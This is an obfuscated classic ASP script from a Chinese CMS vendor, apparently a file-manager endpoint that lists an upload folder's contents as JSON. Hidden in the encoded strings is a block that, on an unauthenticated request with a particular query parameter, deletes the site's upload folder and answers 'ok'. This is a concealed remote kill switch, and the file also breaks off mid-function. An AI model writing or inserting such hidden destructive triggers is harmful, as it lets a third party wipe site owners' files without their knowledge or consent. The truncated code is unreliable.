<%@ CODEPAGE=65001 %>
<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'产品咨询电话：18867186998 （刘经理,兼微信号）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行！感谢您体验宁志产品，宁志有您更精彩！*

Dim NZNNNZ,NZNNNN,NNZZZZ,NNZZZN,NNZZNZ
Set NNZZZZ=Response:Set NZNNNN=Request:Set NNZZNZ=Session:Set NZNNNZ=Application:Set NNZZZN=Server
NNZZZZ.CodePage= (26 * 107 - -62219)
NNZZZZ.Charset=NNNNNZ(ChrW(38) & ChrW(37) & ChrW(117) & ChrW(92) & ChrW(103))
Const NZZZZZZN	=0
Const NZZZZZNZ	=1
Class NZZZNNN
Public Collection
Public Count
Public NZZNZNZ
Public Kind
Private Sub Class_Initialize
Set Collection = CreateObject(NNNNNZ(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(115) & ChrW(58) & ChrW(52) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(50) & ChrW(67) & ChrW(74)))
NZZNZNZ = True
Count = (15 * 34 - 510)
End Sub
Private Sub Class_Terminate
Set Collection = Nothing
End Sub
Private Property Get NNNNNN
NNNNNN = Count
Count = Count + (73 * 45 - 3284)
End Property
Public Property Let NZZZZZZ(NZZZZNNZ, NNNNNNN)
If IsNull(NZZZZNNZ) Then NZZZZNNZ = NNNNNN
Collection(NZZZZNNZ) = NNNNNNN
End Property
Public Property Set NZZZZZZ(NZZZZNNZ, NNNNNNN)
If IsNull(NZZZZNNZ) Then NZZZZNNZ = NNNNNN
If TypeName(NNNNNNN) <> NNNNNZ(ChrW(59) & ChrW(68) & ChrW(114) & ChrW(64) & ChrW(67) & ChrW(54)) Then
Err.Raise &hD, NNNNNZ(ChrW(52) & ChrW(61) & ChrW(50) & ChrW(68) & ChrW(68) & ChrW(105) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(61) & ChrW(50) & ChrW(68) & ChrW(68)), NNNNNZ(ChrW(120) & ChrW(63) & ChrW(52) & ChrW(64) & ChrW(62) & ChrW(65) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(51) & ChrW(61) & ChrW(54) & ChrW(32) & ChrW(44) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54) & ChrW(68) & ChrW(105) & ChrW(32) & ChrW(44) & ChrW(86)) & TypeName(NNNNNNN) & NNNNNZ(ChrW(86))
End If
Set Collection(NZZZZNNZ) = NNNNNNN
End Property
Public Default Property Get NZZZZZZ(NZZZZNNZ)
If IsNull(NZZZZNNZ) Then NZZZZNNZ = Count - (73 * 45 - 3284)
If IsObject(Collection(NZZZZNNZ)) Then
Set NZZZZZZ = Collection(NZZZZNNZ)
Else
NZZZZZZ = Collection(NZZZZNNZ)
End If
End Property
Public Sub NZZZNZZ
Collection.RemoveAll
End Sub
Public Sub Remove(NZZZZNNN)
Collection.Remove NZZZZNNN
End Sub
Function NNZZNN(str)
Dim NZZNNZN(127), NZZNNNZ()
NZZNNZN(8)  = NNNNNZ(ChrW(45) & ChrW(51))
NZZNNZN(9)  = NNNNNZ(ChrW(45) & ChrW(69))
NZZNNZN(10) = NNNNNZ(ChrW(45) & ChrW(63))
NZZNNZN(12) = NNNNNZ(ChrW(45) & ChrW(55))
NZZNNZN(13) = NNNNNZ(ChrW(45) & ChrW(67))
NZZNNZN(34) = NNNNNZ(ChrW(45) & ChrW(81))
NZZNNZN(47) = NNNNNZ(ChrW(45) & ChrW(94))
NZZNNZN(92) = NNNNNZ(ChrW(45) & ChrW(45))
Dim NZZNNNN : NZZNNNN = Len(str) - (73 * 45 - 3284)
ReDim NZZNNNZ(NZZNNNN)
Dim NZNZZZZ, NZNZZZN
For NZNZZZZ = 0 To NZZNNNN
NZZNNNZ(NZNZZZZ) = Mid(str, NZNZZZZ + 1, 1)
NZNZZZN = AscW(NZZNNNZ(NZNZZZZ)) And 65535
If NZNZZZN < 127 Then
If Not IsEmpty(NZZNNZN(NZNZZZN)) Then
NZZNNNZ(NZNZZZZ) = NZZNNZN(NZNZZZN)
ElseIf NZNZZZN < 32 Then
NZZNNNZ(NZNZZZZ) = NNNNNZ(ChrW(45) & ChrW(70)) & Right("000" & Hex(NZNZZZN), 4)
End If
Else
NZZNNNZ(NZNZZZZ) = NNNNNZ(ChrW(45) & ChrW(70)) & Right("000" & Hex(NZNZZZN), 4)
End If
Next
NNZZNN = Join(NZZNNNZ, "")
End Function
Public Function toJSON(NZZZNZZN)
Select Case VarType(NZZZNZZN)
Case 0
toJSON = NNNNNZ(ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61))
Case 1
toJSON = NNNNNZ(ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61))
Case 7
toJSON = NNNNNZ(ChrW(81)) & CStr(NZZZNZZN) & NNNNNZ(ChrW(81))
Case 8
toJSON = NNNNNZ(ChrW(81)) & NNZZNN(NZZZNZZN) & NNNNNZ(ChrW(81))
Case 9
Dim NZNZZNZ,NZNZZZZ
NZNZZNZ = True
If NZZZNZZN.Kind Then toJSON = toJSON & NNNNNZ(ChrW(44)) Else toJSON = toJSON & NNNNNZ(ChrW(76))
For Each NZNZZZZ In NZZZNZZN.Collection
If NZNZZNZ Then NZNZZNZ = False Else toJSON = toJSON & NNNNNZ(ChrW(91))
If NZZZNZZN.Kind Then
toJSON = toJSON & toJSON(NZZZNZZN(NZNZZZZ))
Else
If NZZNZNZ Then
toJSON = toJSON & NNNNNZ(ChrW(81)) & NZNZZZZ & NNNNNZ(ChrW(81) & ChrW(105)) & toJSON(NZZZNZZN(NZNZZZZ))
Else
toJSON = toJSON & NZNZZZZ & NNNNNZ(ChrW(105)) & toJSON(NZZZNZZN(NZNZZZZ))
End If
End If
Next
If NZZZNZZN.Kind Then toJSON = toJSON & NNNNNZ(ChrW(46)) Else toJSON = toJSON & NNNNNZ(ChrW(78))
Case 11
If NZZZNZZN Then toJSON = NNNNNZ(ChrW(69) & ChrW(67) & ChrW(70) & ChrW(54)) Else toJSON = NNNNNZ(ChrW(55) & ChrW(50) & ChrW(61) & ChrW(68) & ChrW(54))
Case 12, 8192, 8204
toJSON = NNZNZN(NZZZNZZN, 1, "")
Case Else
toJSON = Replace(NZZZNZZN, NNNNNZ(ChrW(91)), NNNNNZ(ChrW(93)))
End select
End Function
Function NNZNZN(NZZZNZNZ, NZZZNZNN, NZZZNNZZ)
Dim NZNZZNN : NZNZZNN = LBound(NZZZNZNZ, NZZZNZNN)
Dim NZNZNZZ : NZNZNZZ = UBound(NZZZNZNZ, NZZZNZNN)
Dim NZNZNZN, NZNZNNZ
Dim NZNZNNN : NZNZNNN = NNNNNZ(ChrW(91))
NNZNZN = NNNNNZ(ChrW(44))
For NZNZNZN = NZNZZNN To NZNZNZZ
If NZNZNZN = NZNZNZZ Then
NZNZNNN = ""
End If
On Error Resume Next
NZNZNNZ = NNZNZN(NZZZNZNZ, NZZZNZNN + 1, NZZZNNZZ & NZNZNZN & NNNNNZ(ChrW(91)) )
If Err = 9 Then
On Error GoTo 0
NNZNZN = NNZNZN & toJSON(Eval(NNNNNZ(ChrW(50) & ChrW(67) & ChrW(67) & ChrW(87)) & NZZZNNZZ & NZNZNZN & NNNNNZ(ChrW(88)))) & NZNZNNN
Else
NNZNZN = NNZNZN & NZNZNNZ & "" & NZNZNNN
End If
Next
NNZNZN = NNZNZN & NNNNNZ(ChrW(46))
End Function
Public Property Get NZZZZZN
NZZZZZN = toJSON(Me)
End Property
Sub Flush
If TypeName(NNZZZZ) <> NNNNNZ(ChrW(116) & ChrW(62) & ChrW(65) & ChrW(69) & ChrW(74)) Then
NNZZZZ.Write(NZZZZZN)
ElseIf WScript <> Empty Then
WScript.Echo(NZZZZZN)
End If
End Sub
Public Function NNZNNZ
Set NNZNNZ = NNZNNN(Me)
End Function
Private Function NNZNNN(NZZZNNNZ)
Dim NZNNZZZ, NZNZZZZ
Set NZNNZZZ = new NZZZNNN
NZNNZZZ.Kind = NZZZNNNZ.Kind
For Each NZNZZZZ In NZZZNNNZ.Collection
If IsObject(NZZZNNNZ(NZNZZZZ)) Then
Set NZNNZZZ(NZNZZZZ) = NNZNNN(NZZZNNNZ(NZNZZZZ))
Else
NZNNZZZ(NZNZZZZ) = NZZZNNNZ(NZNZZZZ)
End If
Next
Set NNZNNN = NZNNZZZ
End Function
End Class
If NZNNNN.QueryString(NNNNNZ(ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68)))=NNNNNZ(ChrW(64) & ChrW(60)) Then
set NZZZZZNN=NNZZZN.createobject(NNNNNZ(ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(68) & ChrW(74) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(62) & ChrW(64) & ChrW(51) & ChrW(59) & ChrW(54) & ChrW(52) & ChrW(69)))
NZZZZNZZ=NNNNNZ(ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65)) & idd
NZZZZNZZ=NNZZZN.mappath(NZZZZNZZ)
if NZZZZZNN.FOLDERExists(NZZZZNZZ) then
NZZZZZNN.deleteFOLDER NZZZZNZZ
end if
NNZZZZ.Write(NNNNNZ(ChrW(64) & ChrW(60)))
end if
Function NNNZZZ
Set NNNZZZ = new NZZZNNN
NNNZZZ.Kind = NZZZZZZN
End Function
Function NNNZZN
Set NNNZZN = new NZZZNNN
NNNZZN.Kind = NZZZZZNZ
End Function
Function toJSON(NZZZNNNN)
toJSON = (new NZZZNNN).toJSON(NZZZNNNN)
End Function
Dim NZNNZZN, NZNNZNZ, NZNNZNN, NZNNNZZ
Dim NZNNNZN, NZNNNNZ, NZNNNNN, NNZZZZZ
Dim NNZZZZN, NNZZZNZ, NNZZZNN, NNZZNZZ, NNZZNZN, NNZZNNZ, NNZZNNN, NNZNZZZ
Dim NNZNZZN, NNZNZNZ, NNZNZNN, NNZNNZZ, NZNZZZZ, NNZNNZN
Dim NNZNNNZ(), NNZNNNN(), NNNZZZZ, NNNZZZN, NNNZZNZ, NNNZZNN, NNNZNZZ, NNNZNZN, NNNZNNZ
NZNNZZN = NZNNNN.ServerVariables(NNNNNZ(ChrW(36) & ChrW(114) & ChrW(35) & ChrW(120) & ChrW(33) & ChrW(37) & ChrW(48) & ChrW(125) & ChrW(112) & ChrW(124) & ChrW(116)))
NZNNZZN = left(NZNNZZN, InStrRev(NZNNZZN, NNNNNZ(ChrW(94))))
NZNNZNZ = NNNNNZ(ChrW(93) & ChrW(93) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(63) & ChrW(75) & ChrW(72) & ChrW(54) & ChrW(51) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65) & ChrW(94) & ChrW(50) & ChrW(69) & ChrW(69) & ChrW(50) & ChrW(52) & ChrW(57) & ChrW(54) & ChrW(53) & ChrW(94))
NZNNZNN = NZNNZZN & NNNNNZ(ChrW(93) & ChrW(93) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(63) & ChrW(75) & ChrW(72) & ChrW(54) & ChrW(51) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65) & ChrW(94) & ChrW(50) & ChrW(69) & ChrW(69) & ChrW(50) & ChrW(52) & ChrW(57) & ChrW(54) & ChrW(53) & ChrW(94))
NZNNNZZ = NNNNNZ(ChrW(56) & ChrW(58) & ChrW(55) & ChrW(91) & ChrW(59) & ChrW(65) & ChrW(56) & ChrW(91) & ChrW(59) & ChrW(65) & ChrW(54) & ChrW(56) & ChrW(91) & ChrW(65) & ChrW(63) & ChrW(56) & ChrW(91) & ChrW(51) & ChrW(62) & ChrW(65))
NZNNNZN = ""
NZNNNNZ = ""
NZNNNNN = ""
NNZZZZZ = ""
Set NNZZNZZ = NNZZZN.CreateObject(NNNNNZ(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(117) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(36) & ChrW(74) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(62) & ChrW(126) & ChrW(51) & ChrW(59) & ChrW(54) & ChrW(52) & ChrW(69)))
NNZZZNN = NZNNNN.QueryString(NNNNNZ(ChrW(53) & ChrW(58) & ChrW(67)))
If Not isEmpty(NNZZZNN) Then
If instr(lcase(NNNNNZ(ChrW(58) & ChrW(62) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(91) & ChrW(55) & ChrW(61) & ChrW(50) & ChrW(68) & ChrW(57) & ChrW(91) & ChrW(62) & ChrW(54) & ChrW(53) & ChrW(58) & ChrW(50) & ChrW(91) & ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54))), NNZZZNN) < 1 Then
NNZZZZ.Write NNNNNZ(ChrW(120) & ChrW(63) & ChrW(71) & ChrW(50) & ChrW(61) & ChrW(58) & ChrW(53) & ChrW(32) & ChrW(44) & ChrW(115) & ChrW(58) & ChrW(67) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(64) & ChrW(67) & ChrW(74) & ChrW(32) & ChrW(44) & ChrW(63) & ChrW(50) & ChrW(62) & ChrW(54) & ChrW(93))
NNZZZZ.End
End If
NZNNZNZ = NZNNZNZ & NNZZZNN & NNNNNZ(ChrW(94))
NZNNZNN = NZNNZNN & NNZZZNN & NNNNNZ(ChrW(94))
If Not NNZZNZZ.FolderExists(NNZZZN.mappath(NZNNZNZ)) Then
NNZZNZZ.CreateFolder(NNZZZN.mappath(NZNNZNZ))
End If
End If
NNZZZZN = NZNNNN.QueryString(NNNNNZ(ChrW(65) & ChrW(50) & ChrW(69) & ChrW(57)))
If NNZZZZN = "" Then
NZNNNZN = NNZZZN.MapPath(NZNNZNZ) & NNNNNZ(ChrW(45))
NZNNNNZ = NZNNZNN
NZNNNNN = ""
NNZZZZZ = ""
Else
NZNNNZN = NNZZZN.MapPath(NZNNZNZ & NNZZZZN) & NNNNNZ(ChrW(45))
NZNNNNZ = NZNNZNN + NNZZZZN
NZNNNNN = NNZZZZN
NNZZZZZ = NNNNZZ(NZNNNNN, NNNNNZ(ChrW(87) & ChrW(93) & ChrW(89) & ChrW(110) & ChrW(88) & ChrW(44) & ChrW(47) & ChrW(45) & ChrW(94) & ChrW(46) & ChrW(90) & ChrW(45) & ChrW(94) & ChrW(83)), NNNNNZ(ChrW(83) & ChrW(96)))
End If
Set NNZZNZN = NNZZNZZ.GetFolder(NZNNNZN)
NNZZZNZ = lcase(NZNNNN.QueryString(NNNNNZ(ChrW(64) & ChrW(67) & ChrW(53) & ChrW(54) & ChrW(67))))
Select Case NNZZZNZ
Case NNNNNZ(ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54)) NNZNNZZ = (26 * 20 - 516)
Case NNNNNZ(ChrW(68) & ChrW(58) & ChrW(75) & ChrW(54)) NNZNNZZ = (34 * 29 - 984)
Case Else  NNZNNZZ = (21 * 71 - 1486)
End Select
If NNNZNN(NNZZZZN, NNNNNZ(ChrW(45) & ChrW(93) & ChrW(45) & ChrW(93))) Then
NNZZZZ.Write NNNNNZ(ChrW(112) & ChrW(52) & ChrW(52) & ChrW(54) & ChrW(68) & ChrW(68) & ChrW(32) & ChrW(44) & ChrW(58) & ChrW(68) & ChrW(32) & ChrW(44) & ChrW(63) & ChrW(64) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(50) & ChrW(61) & ChrW(61) & ChrW(64) & ChrW(72) & ChrW(54) & ChrW(53) & ChrW(93))
NNZZZZ.End
End If
If NNZZZZN <> "" And Not NNNZNN(NNZZZZN, NNNNNZ(ChrW(45) & ChrW(94) & ChrW(83))) Then
NNZZZZ.Write NNNNNZ(ChrW(33) & ChrW(50) & ChrW(67) & ChrW(50) & ChrW(62) & ChrW(54) & ChrW(69) & ChrW(54) & ChrW(67) & ChrW(32) & ChrW(44) & ChrW(58) & ChrW(68) & ChrW(32) & ChrW(44) & ChrW(63) & ChrW(64) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(50) & ChrW(61) & ChrW(61) & ChrW(64) & ChrW(72) & ChrW(54) & ChrW(53) & ChrW(93))
NNZZZZ.End
End If
If Not NNNZNZ(NZNNNZN) Then
NNZZZZ.Write NNNNNZ(ChrW(115) & ChrW(58) & ChrW(67) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(64) & ChrW(67) & ChrW(74) & ChrW(32) & ChrW(44) & ChrW(53) & ChrW(64) & ChrW(54) & ChrW(68) & ChrW(32) & ChrW(44) & ChrW(63) & ChrW(64) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(54) & ChrW(73) & ChrW(58) & ChrW(68) & ChrW(69) & ChrW(93))
NNZZZZ.End
End If
Set NNZNZZZ = NNNZZZ()
NNZNZZZ(NNNNNZ(ChrW(62) & ChrW(64) & ChrW(71) & ChrW(54) & ChrW(70) & ChrW(65) & ChrW(48) & ChrW(53) & ChrW(58) & ChrW(67) & ChrW(48) & ChrW(65) & ChrW(50) & ChrW(69) & ChrW(57))) = NNZZZZZ
NNZNZZZ(NNNNNZ(ChrW(52) & ChrW(70) & ChrW(67) & ChrW(67) & ChrW(54) & ChrW(63) & ChrW(69) & ChrW(48) & ChrW(53) & ChrW(58) & ChrW(67) & ChrW(48) & ChrW(65) & ChrW(50) & ChrW(69) & ChrW(57))) = NZNNNNN
NNZNZZZ(NNNNNZ(ChrW(52) & ChrW(70) & ChrW(67) & ChrW(67) & ChrW(54) & ChrW(63) & ChrW(69) & ChrW(48) & ChrW(70) & ChrW(67) & ChrW(61))) = NZNNNNZ
NNZNZNZ = NNZZNZN.SubFolders.count
NNZNZNN = NNZZNZN.Files.count
NNZNZZZ(NNNNNZ(ChrW(69) & ChrW(64) & ChrW(69) & ChrW(50) & ChrW(61) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(70) & ChrW(63) & ChrW(69))) = NNZNZNZ + NNZNZNN
ReDim NNZNNNZ(NNZNZNZ)
NZNZZZZ = (15 * 34 - 510)
For Each NNZZNNZ in NNZZNZN.SubFolders
NNNZZZZ = True
NNNZZZN = (NNZZNNZ.Files.count > 0)
NNNZZNZ = (15 * 34 - 510)
NNNZZNN = False
NNNZNZZ = ""
NNNZNZN = NNZZNNZ.name
NNNZNNZ = NNNNZN(NNZZNNZ.DateLastModified)
NNZNNNZ(NZNZZZZ) = Array(NNNZZZZ, NNNZZZN, NNNZZNZ, NNNZZNN, NNNZNZZ, NNNZNZN, NNNZNNZ)
NZNZZZZ = NZNZZZZ + (73 * 45 - 3284)
Next
ReDim NNZNNNN(NNZNZNN)
NZNZZZZ = (15 * 34 - 510)
For Each NNZZNNN in NNZZNZN.Files
NNZNZZN = lcase(mid(NNZZNNN.name, InStrRev(NNZZNNN.name, NNNNNZ(ChrW(93))) + 1))
NNNZZZZ = False
NNNZZZN = False
NNNZZNZ = NNZZNNN.size
NNNZZNN = (instr(lcase(NZNNNZZ), NNZNZZN) > 0)
NNNZNZZ = NNZNZZN
NNNZNZN = NNZZNNN.name
NNNZNNZ = NNNNZN(NNZZNNN.DateLastModified)
NNZNNNN(NZNZZZZ) = Array(NNNZZZZ, NNNZZZN, NNNZZNZ, NNNZZNN, NNNZNZZ, NNNZNZN, NNNZNNZ)
NZNZZZZ = NZNZZZZ + (73 * 45 - 3284)
Next
Dim NNNZNNN, NNNNZZZ
For NZNZZZZ = 0 To NNZNZNZ - (34 * 29 - 984)
NNNZNNN = NZNZZZZ
For NNZNNZN = NZNZZZZ + 1 To NNZNZNZ - (73 * 45 - 3284)
If (NNZNNNZ(NNNZNNN)(5) > NNZNNNZ(NNZNNZN)(5)) Then
NNNZNNN = NNZNNZN
End If
Next
If NNNZNNN <> NZNZZZZ Then
NNNNZZZ = NNZNNNZ(NNNZNNN)
NNZNNNZ(NNNZNNN) = NNZNNNZ(NZNZZZZ)
NNZNNNZ(NZNZZZZ) = NNNNZZZ
End If
Next
For NZNZZZZ = 0 To NNZNZNN - (34 * 29 - 984)
NNNZNNN = NZNZZZZ
For NNZNNZN = NZNZZZZ + 1 To NNZNZNN - (73 * 45 - 3284)
If (NNZNNNN(NNNZNNN)(NNZNNZZ) > NNZNNNN(NNZNNZN)(NNZNNZZ)) Then
NNNZNNN = NNZNNZN
End If
Next
If NNNZNNN <> NZNZZZZ Then
NNNNZZZ = NNZNNNN(NNNZNNN)
NNZNNNN(NNNZNNN) = NNZNNNN(NZNZZZZ)
NNZNNNN(NZNZZZZ) = NNNNZZZ
End If
Next
Set NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69))) = NNNZZN()
For NZNZZZZ = 0 To NNZNZNZ - (73 * 45 - 3284)
Set NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null) = NNNZZZ()
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(58) & ChrW(68) & ChrW(48) & ChrW(53) & ChrW(58) & ChrW(67))) = NNZNNNZ(NZNZZZZ)(0)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(57) & ChrW(50) & ChrW(68) & ChrW(48) & ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54))) = NNZNNNZ(NZNZZZZ)(1)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(68) & ChrW(58) & ChrW(75) & ChrW(54))) = NNZNNNZ(NZNZZZZ)(2)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(58) & ChrW(68) & ChrW(48) & ChrW(65) & ChrW(57) & ChrW(64) & ChrW(69) & ChrW(64))) = NNZNNNZ(NZNZZZZ)(3)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54))) = NNZNNNZ(NZNZZZZ)(4)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(63) & ChrW(50) & ChrW(62) & ChrW(54))) = NNZNNNZ(NZNZZZZ)(5)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(53) & ChrW(50) & ChrW(69) & ChrW(54) & ChrW(69) & ChrW(58) & ChrW(62) & ChrW(54))) = NNZNNNZ(NZNZZZZ)(6)
Next
For NZNZZZZ = 0 To NNZNZNN - (73 * 45 - 3284)
Set NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null) = NNNZZZ()
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(58) & ChrW(68) & ChrW(48) & ChrW(53) & ChrW(58) & ChrW(67))) = NNZNNNN(NZNZZZZ)(0)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(57) & ChrW(50) & ChrW(68) & ChrW(48) & ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54))) = NNZNNNN(NZNZZZZ)(1)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(68) & ChrW(58) & ChrW(75) & ChrW(54))) = NNZNNNN(NZNZZZZ)(2)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(58) & ChrW(68) & ChrW(48) & ChrW(65) & ChrW(57) & ChrW(64) & ChrW(69) & ChrW(64))) = NNZNNNN(NZNZZZZ)(3)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54))) = NNZNNNN(NZNZZZZ)(4)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(63) & ChrW(50) & ChrW(62) & ChrW(54))) = NNZNNNN(NZNZZZZ)(5)
NNZNZZZ(NNNNNZ(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(48) & ChrW(61) & ChrW(58) & ChrW(68) & ChrW(69)))(Null)(NNNNNZ(ChrW(53) & ChrW(50) & ChrW(69) & ChrW(54) & ChrW(69) & ChrW(58) & ChrW(62) & ChrW(54))) = NNZNNNN(NZNZZZZ)(6)
Next
NNZZZZ.AddHeader NNNNNZ(ChrW(114) & ChrW(64) & ChrW(63) & ChrW(69) & ChrW(54) & ChrW(63) & ChrW(69) & ChrW(92) & ChrW(37) & ChrW(74) & ChrW(65) & ChrW(54)), NNNNNZ(ChrW(69) & ChrW(54) & ChrW(73) & ChrW(69) & ChrW(94) & ChrW(57) & ChrW(69) & ChrW(62) & ChrW(61) & ChrW(106) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(57) & ChrW(50) & ChrW(67) & ChrW(68) & ChrW(54) & ChrW(69) & ChrW(108) & ChrW(38) & ChrW(37) & ChrW(117) & ChrW(92) & ChrW(103))
NNZNZZZ.Flush
NNZZZZ.End
Function NNNZNZ(NZZNZZZN)
Dim NNZZNZZ
Set NNZZNZZ = NNZZZN.CreateObject(NNNNNZ(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(117) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(36) & ChrW(74) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(62) & ChrW(126) & ChrW(51) & ChrW(59) & ChrW(54) & ChrW(52) & ChrW(69)))
NNNZNZ = NNZZNZZ.FolderExists(NZZNZZZN)
End Function
Function NNNZNN(NZZNZZNZ, pattern)
Dim NNNNZZN
Set NNNNZZN = New RegExp
NNNNZZN.Global = True
NNNNZZN.MultiLine = True
NNNNZZN.Pattern = pattern
NNNZNN = NNNNZZN.Test(NZZNZZNZ)
End Function
Function NNNNZZ(NZZNZZNZ, pattern, NZZNZNZZ)
Dim NNNNZZN
Set NNNNZZN = New RegExp
NNNNZZN.Global = True
NNNNZZN.MultiLine = True
NNNNZZN.Pattern = pattern
NNNNZZ = NNNNZZN.Replace(NZZNZZNZ, NZZNZNZZ)
End Function
Public Function NNNNZN(NNNZNNZ)
Dim NNNNZNZ, NNNNZNN, NNNNNZZ, NNNNNZN, NZNZZZZ, NNNNNNZ
NNNNZNZ = CStr(Year(NNNZNNZ))
NNNNZNN = CStr(Month(NNNZNNZ))
If Len(NNNNZNN) = 1 Then NNNNZNN = "0" & NNNNZNN
NNNNNZZ = CStr(Day(NNNZNNZ))
If Len(NNNNNZZ) = 1 Then NNNNNZZ = "0" & NNNNNZZ
NNNNNZN = CStr(Hour(NNNZNNZ))
If Len(NNNNNZN) = 1 Then NNNNNZN = "0" & NNNNNZN
NZNZZZZ = CStr(Minute(NNNZNNZ))
If Len(NZNZZZZ) = 1 Then NZNZZZZ = "0" & NZNZZZZ
NNNNNNZ = CStr(Second(NNNZNNZ))
